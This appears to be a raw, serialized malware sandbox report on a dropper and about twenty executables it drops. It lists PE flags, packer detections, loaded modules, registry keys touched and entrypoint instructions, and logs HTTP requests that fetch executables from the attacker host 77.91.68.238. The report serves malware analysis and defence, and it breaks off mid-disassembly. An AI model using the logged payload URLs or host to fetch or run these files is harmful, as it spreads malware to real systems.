IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "z0143525.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "kus.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "z3672075.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "x3683024.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "z9579752.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "x2709271.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "s2433534.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "r6085134.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "z8332048.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "q2544030.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "t9287723.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "legota.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "h7183381.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "i8781473.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip64_1_.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "k8567853.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "w7821698.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT3a:T552,"GET /new/foto7447.exe HTTP/1.1 Host: 77.91.68.238" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri 29 Sep 2023 02:22:50 GMT Accept-Ranges: bytes ETag: "e6bb5fd87bf2d91:0" Server: Microsoft-IIS/10.0 Date: Fri 29 Sep 2023 02:23:29 GMT Content-Length: 1196032 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /smo/exto.exe HTTP/1.1 Host: 77.91.68.238" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri 29 Sep 2023 02:21:00 GMT Accept-Ranges: bytes ETag: "3367b2967bf2d91:0" Server: Microsoft-IIS/10.0 Date: Fri 29 Sep 2023 02:23:35 GMT Content-Length: 1040384 with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /smo/kus.exe HTTP/1.1 Host: 77.91.68.238" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri 29 Sep 2023 02:20:03 GMT Accept-Ranges: bytes ETag: "d6c254747bf2d91:0" Server: Microsoft-IIS/10.0 Date: Fri 29 Sep 2023 02:23:44 GMT Content-Length: 904704 with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000.......3b:T6dd,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "z0143525.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "z0143525.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "z3672075.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "z3672075.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "z9579752.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "z9579752.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "z8332048.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "z8332048.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "q2544030.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "q2544030.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "r6085134.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "r6085134.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "AppLaunch.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 717E0000 "AppLaunch.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 701E0000 "s2433534.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77630000 "s2433534.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72F00000 "t9287723.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 776300003c:T599,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "z0143525.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "z3672075.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "z9579752.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "z8332048.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "q2544030.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "r6085134.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "AppLaunch.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 71CB0000 "s2433534.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "t9287723.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "explonde.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "u0071771.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "schtasks.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "cmd.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "legota.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "w7821698.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "cacls.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 77370000 "foto7447.exe" loaded module "%WINDIR%\SysWOW64\rpcrt4.dll" at 773700003d:T22ec,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" was detected as "Microsoft Cabinet" and name: "sfx" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" was detected as "Microsoft Visual C/C++" and name: "Compiler" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" was detected as "Microsoft Cabinet File" and name: "Archive" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" was detected as "Microsoft Linker" and name: "Linker" "foto7447.exe" was detected as "Microsoft Cabinet" and name: "sfx" "foto7447.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "foto7447.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "foto7447.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "foto7447.exe" was detected as "Microsoft Linker" and name: "Linker" "x8060195.exe" was detected as "Microsoft Cabinet" and name: "sfx" "x8060195.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "x8060195.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "x8060195.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "x8060195.exe" was detected as "Microsoft Linker" and name: "Linker" "j0508220.exe" was detected as "Microsoft Cabinet" and name: "sfx" "j0508220.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "j0508220.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "j0508220.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "j0508220.exe" was detected as "Microsoft Linker" and name: "Linker" "exto_1_.exe" was detected as "Microsoft Cabinet" and name: "sfx" "exto_1_.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "exto_1_.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "exto_1_.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "exto_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "g5335915.exe" was detected as "Microsoft Cabinet" and name: "sfx" "g5335915.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "g5335915.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "g5335915.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "g5335915.exe" was detected as "Microsoft Linker" and name: "Linker" "z0143525.exe" was detected as "Microsoft Cabinet" and name: "sfx" "z0143525.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "z0143525.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "z0143525.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "z0143525.exe" was detected as "Microsoft Linker" and name: "Linker" "kus.exe" was detected as "Microsoft Cabinet" and name: "sfx" "kus.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "kus.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "kus.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "kus.exe" was detected as "Microsoft Linker" and name: "Linker" "z3672075.exe" was detected as "Microsoft Cabinet" and name: "sfx" "z3672075.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "z3672075.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "z3672075.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "z3672075.exe" was detected as "Microsoft Linker" and name: "Linker" "x3683024.exe" was detected as "Microsoft Cabinet" and name: "sfx" "x3683024.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "x3683024.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "x3683024.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "x3683024.exe" was detected as "Microsoft Linker" and name: "Linker" "z9579752.exe" was detected as "Microsoft Cabinet" and name: "sfx" "z9579752.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "z9579752.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "z9579752.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "z9579752.exe" was detected as "Microsoft Linker" and name: "Linker" "x2709271.exe" was detected as "Microsoft Cabinet" and name: "sfx" "x2709271.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "x2709271.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "x2709271.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "x2709271.exe" was detected as "Microsoft Linker" and name: "Linker" "s2433534.exe" was detected as "Microsoft Cabinet" and name: "sfx" "s2433534.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "s2433534.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "s2433534.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "s2433534.exe" was detected as "Microsoft Linker" and name: "Linker" "r6085134.exe" was detected as "Microsoft Cabinet" and name: "sfx" "r6085134.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "r6085134.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "r6085134.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "r6085134.exe" was detected as "Microsoft Linker" and name: "Linker" "z8332048.exe" was detected as "Microsoft Cabinet" and name: "sfx" "z8332048.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "z8332048.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "z8332048.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "z8332048.exe" was detected as "Microsoft Linker" and name: "Linker" "q2544030.exe" was detected as "Microsoft Cabinet" and name: "sfx" "q2544030.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "q2544030.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "q2544030.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "q2544030.exe" was detected as "Microsoft Linker" and name: "Linker" "t9287723.exe" was detected as "Microsoft Cabinet" and name: "sfx" "t9287723.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "t9287723.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "t9287723.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "t9287723.exe" was detected as "Microsoft Linker" and name: "Linker" "legota.exe" was detected as "Microsoft Cabinet" and name: "sfx" "legota.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "legota.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "legota.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "legota.exe" was detected as "Microsoft Linker" and name: "Linker" "h7183381.exe" was detected as "Microsoft Cabinet" and name: "sfx" "h7183381.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "h7183381.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "h7183381.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "h7183381.exe" was detected as "Microsoft Linker" and name: "Linker" "i8781473.exe" was detected as "Microsoft Cabinet" and name: "sfx" "i8781473.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "i8781473.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "i8781473.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "i8781473.exe" was detected as "Microsoft Linker" and name: "Linker" "clip64_1_.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip64_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip64_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip64_1_.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip64_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "k8567853.exe" was detected as "Microsoft Cabinet" and name: "sfx" "k8567853.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "k8567853.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "k8567853.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "k8567853.exe" was detected as "Microsoft Linker" and name: "Linker" "w7821698.exe" was detected as "Microsoft Cabinet" and name: "sfx" "w7821698.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "w7821698.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "w7821698.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "w7821698.exe" was detected as "Microsoft Linker" and name: "Linker"3e:T1863,"AppLaunch.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "t9287723.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "t9287723.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "t9287723.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "t9287723.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "t9287723.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "t9287723.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "t9287723.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "t9287723.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "t9287723.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "t9287723.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "t9287723.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "t9287723.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "t9287723.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "explonde.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE") "explonde.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explonde.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explonde.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explonde.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explonde.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explonde.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explonde.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explonde.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explonde.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "explonde.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "explonde.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explonde.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explonde.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "explonde.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "explonde.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explonde.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explonde.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explonde.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explonde.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explonde.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "explonde.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "h7183381.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "h7183381.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "h7183381.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "h7183381.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "h7183381.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "h7183381.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\INPROCSERVER32") "h7183381.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\INPROCSERVER32")3f:T645,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "foto7447.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "x8060195.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "j0508220.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "exto_1_.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "g5335915.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "z0143525.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "kus.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "z3672075.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "x3683024.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "z9579752.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "x2709271.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "s2433534.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "r6085134.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "z8332048.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "q2544030.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "t9287723.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "legota.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "i8781473.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "clip64_1_.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "k8567853.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "w7821698.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"40:T533,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" has an executable section named ".text" "foto7447.exe" has an executable section named ".text" "x8060195.exe" has an executable section named ".text" "j0508220.exe" has an executable section named ".text" "exto_1_.exe" has an executable section named ".text" "g5335915.exe" has an executable section named ".text" "z0143525.exe" has an executable section named ".text" "kus.exe" has an executable section named ".text" "z3672075.exe" has an executable section named ".text" "x3683024.exe" has an executable section named ".text" "z9579752.exe" has an executable section named ".text" "x2709271.exe" has an executable section named ".text" "s2433534.exe" has an executable section named ".text" "r6085134.exe" has an executable section named ".text" "z8332048.exe" has an executable section named ".text" "q2544030.exe" has an executable section named ".text" "t9287723.exe" has an executable section named ".text" "legota.exe" has an executable section named ".text" "h7183381.exe" has an executable section named ".text" "i8781473.exe" has an executable section named ".text" "clip64_1_.dll" has an executable section named ".text" "k8567853.exe" has an executable section named ".text" "w7821698.exe" has an executable section named ".text"41:T4cf,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" has an writable section named ".data" "foto7447.exe" has an writable section named ".data" "x8060195.exe" has an writable section named ".data" "j0508220.exe" has an writable section named ".data" "exto_1_.exe" has an writable section named ".data" "g5335915.exe" has an writable section named ".data" "z0143525.exe" has an writable section named ".data" "kus.exe" has an writable section named ".data" "z3672075.exe" has an writable section named ".data" "x3683024.exe" has an writable section named ".data" "z9579752.exe" has an writable section named ".data" "x2709271.exe" has an writable section named ".data" "s2433534.exe" has an writable section named ".data" "r6085134.exe" has an writable section named ".data" "z8332048.exe" has an writable section named ".data" "q2544030.exe" has an writable section named ".data" "t9287723.exe" has an writable section named ".data" "legota.exe" has an writable section named ".data" "i8781473.exe" has an writable section named ".data" "clip64_1_.dll" has an writable section named ".data" "k8567853.exe" has an writable section named ".data" "w7821698.exe" has an writable section named ".data"42:T30f8,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], 